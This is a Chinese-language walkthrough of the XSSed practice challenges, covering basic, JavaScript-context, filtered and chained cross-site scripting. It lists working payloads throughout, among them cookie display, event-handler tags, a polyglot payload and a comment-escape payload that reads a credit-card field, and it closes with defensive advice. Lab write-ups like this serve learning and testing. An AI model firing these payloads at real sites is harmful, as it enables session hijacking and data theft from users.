XSSed通关教程
字数 693 2025-08-24 16:48:16

XSSed通关教程

1. Basic XSS (基础XSS)

漏洞分析

漏洞产生于直接将用户输入插入HTML页面,没有任何过滤:

echo($_GET['q']);

有效Payloads

  1. 基本弹窗:

    <script>alert(/xss/)</script>
    
  2. 获取Cookie:

    <script>alert(document.cookie)</script>
    
  3. a标签XSS:

    <a href="javascript:alert('xss')">xss</a>
    
  4. 图片加载失败执行:

    
    
  5. iframe框架:

    <iframe onload=alert('xss')>
    
  6. SVG标签:

    <svg onload=alert(1)>
    
  7. video标签:

    <video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
    
  8. body标签:

    <body onload=alert(1)>
    
  9. style标签:

    <style onload=alert(1)></style>
    
  10. input标签:

    <input onmouseover=alert(1)>
    
  11. 万能XSS:

    jaVasCript:oNclJavaScript XSSiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    

2. JavaScript XSS

漏洞分析

漏洞产生于将用户输入未经过滤插入JavaScript代码段:

$q = $_GET['q'];
<script type="text/javascript">var search_term = " $q";</script>

有效Payloads

  1. 字符串闭合注入:

    a";alert(1);var q="a
    
  2. 图片加载失败执行:

    
    

3. Filtered XSS (过滤XSS)

漏洞分析

  • creditcard参数有严格的正则过滤
  • id参数仅转义了双引号
  • 木桶原理:只要有一个可控输入位置成为插入点,其他输入的过滤再严格也没有意义

利用方法

  1. 将隐藏的id输入框改为可见:

    <input type="hidden" name="id" value="123">
    

    修改为:

    <input type="text" name="id" value="123">
    
  2. 利用JavaScript伪协议:

    --><a href=javascript:alert(1);>click</a><!--
    
  3. 获取creditcard值的最终Payload:

    --><a href=javascript:alert(document.getElementById('creditcard').innerHTML);>click</a><!--
    

4. Chained XSS (链式XSS)

有效Payload

<script>alert(/xss/)</script>

关键知识点总结

  1. XSS注入点:

    • 直接HTML插入
    • JavaScript字符串插入
    • 属性值插入
  2. 绕过技巧:

    • 字符串闭合
    • JavaScript伪协议
    • 利用HTML注释绕过过滤
    • 多种标签和事件处理器
  3. 防御原则:

    • 所有用户输入必须经过适当过滤和转义
    • 遵循"木桶原理",确保所有输入点都安全
    • 使用内容安全策略(CSP)等额外防护措施
  4. 测试方法:

    • 尝试各种HTML标签和JavaScript代码
    • 检查页面源代码查看过滤情况
    • 尝试闭合字符串或注释
XSSed通关教程 1. Basic XSS (基础XSS) 漏洞分析 漏洞产生于直接将用户输入插入HTML页面,没有任何过滤: 有效Payloads 基本弹窗 : 获取Cookie : a标签XSS : 图片加载失败执行 : iframe框架 : SVG标签 : video标签 : body标签 : style标签 : input标签 : 万能XSS : 2. JavaScript XSS 漏洞分析 漏洞产生于将用户输入未经过滤插入JavaScript代码段: 有效Payloads 字符串闭合注入 : 图片加载失败执行 : 3. Filtered XSS (过滤XSS) 漏洞分析 creditcard 参数有严格的正则过滤 id 参数仅转义了双引号 木桶原理:只要有一个可控输入位置成为插入点,其他输入的过滤再严格也没有意义 利用方法 将隐藏的 id 输入框改为可见: 修改为: 利用JavaScript伪协议 : 获取creditcard值的最终Payload : 4. Chained XSS (链式XSS) 有效Payload 关键知识点总结 XSS注入点 : 直接HTML插入 JavaScript字符串插入 属性值插入 绕过技巧 : 字符串闭合 JavaScript伪协议 利用HTML注释绕过过滤 多种标签和事件处理器 防御原则 : 所有用户输入必须经过适当过滤和转义 遵循"木桶原理",确保所有输入点都安全 使用内容安全策略(CSP)等额外防护措施 测试方法 : 尝试各种HTML标签和JavaScript代码 检查页面源代码查看过滤情况 尝试闭合字符串或注释